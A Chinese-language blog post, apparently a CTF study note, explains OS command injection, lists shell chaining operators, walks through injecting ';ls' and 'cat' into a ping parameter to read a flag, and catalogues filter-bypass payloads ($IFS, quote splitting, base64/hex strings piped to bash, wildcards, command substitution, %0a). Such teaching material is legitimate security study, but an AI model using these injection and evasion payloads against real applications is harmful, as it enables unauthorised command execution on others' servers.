命令执行漏洞

命令执行漏洞是指,当用户可以控制命令执行函数中的参数时,攻击者通过在应用程序的输入字段或参数中注入恶意操作系统命令与正常操作命令拼接,利用应用程序调用系统命令的功能,使系统执行攻击者注入的命令。一般是因为应用程序在调用系统命令时,没有对用户输入进行有效的过滤和转义,导致攻击者可以通过构造特殊的输入来执行额外的命令。

漏洞 区别
命令执行漏洞 主要是在操作系统层面执行命令,利用应用程序调用系统命令的功能,通过在输入中拼接额外的命令来执行,如ls、rm、cat等,来利用系统的功能进行攻击
代码执行漏洞 侧重于在应用程序的代码层面,利用应用程序中存在的不安全函数或方法,如eval()、exec()等,这些代码通常是应用程序所使用的编程语言代码,如 PHP、Python、Java 等。攻击者通过注入代码来改变应用程序的正常执行流程,实现自己的攻击目的

拼接符号:

1、分号(;) system(cmd1;cmd2)
cmd1首先运行,不管cmd1运行成功与否,cmd2都会运行。

2、and(&&) system(cmd1&&cmd2)
只有在前一个命令成功结束后,下一个命令才会运行。

3、或(||) system(cmd1||cmd2)
只有在前一个命令出现错误时,才运行下一个命令。

4、管道符(|) system(cmd1|cmd2)
前一个命令的结果作为后一个命令的参数

例题:

WP:

很明显,我们可以通过$GET['ip']这个东西控制命令执行函数中的参数,拼接上恶意系统命令。ping用于测试网络连接,-c 4表示发送4个ICMP回显请求包,127.0.0.1表示ping命令的目标IP地址,所以ping -c 4 127.0.0.1为一个正常的完整的命令。想要找到flag,先查看当前目录内容,用ls命令,所以ip=127.0.0.1;ls -l。

不出意外的话,flag就在15789193225694.php,换成cat命令。

查看网页源代码,得到flag。

进阶:

1、过滤空格:(cat flag.php)

①cat$IFS$9flag. php
②cat${IFS}flag.php
③cal<flag.php <表示导入
④cat<>flag.php <>表示导出
⑤{cat,flag.php}

2、过滤关键字:

①cat fla\g.php \叫做转义符,\接一个普通字母,还是原意
②cat fla"g.php 在python中 'a''b' = 'ab'贴贴可以拼接字符串,和+作用一样
③echo"Y2FOIHKxbmcucGhw"|base64-d|bash base 64编码绕过
④echo"6361742079316E672E706870"|xxd-r-p|bash hex编码绕过
⑧cat flag.* 表示任意长度的任意
⑥cat fla?. php 表示单平个长度的任意
⑦cat fla[f-h].php f到h之间的
⑧cat fla{f.. h}. php 大于等于f小于等于h的都执行一遍
⑨内联执行(引用一个命令的执行结果)
cat 'ls | grep fla'
cat $(ls | grep fla) ls|grep fla可以得到flag. php
cat 'ls'
⑩ a=fl;b=ag; cat$a $b.php

3、过滤目录分隔符(/、\):

①cd 切换目录

遇到一个可疑目录,在过滤目录分隔符的情况下,可以用cd先切换到可疑目录,再继续注入恶意系统命令。

127.0.0.1;cd flag_is_here;ls

4、过滤运算符(|、&之类的):

①file | base64也可以写成base64 file

5、过滤分号(;):

①用%0a来代替

posted @ 2025-04-10 23:15  一只咸鱼灰  阅读(285)  评论(0)    收藏  举报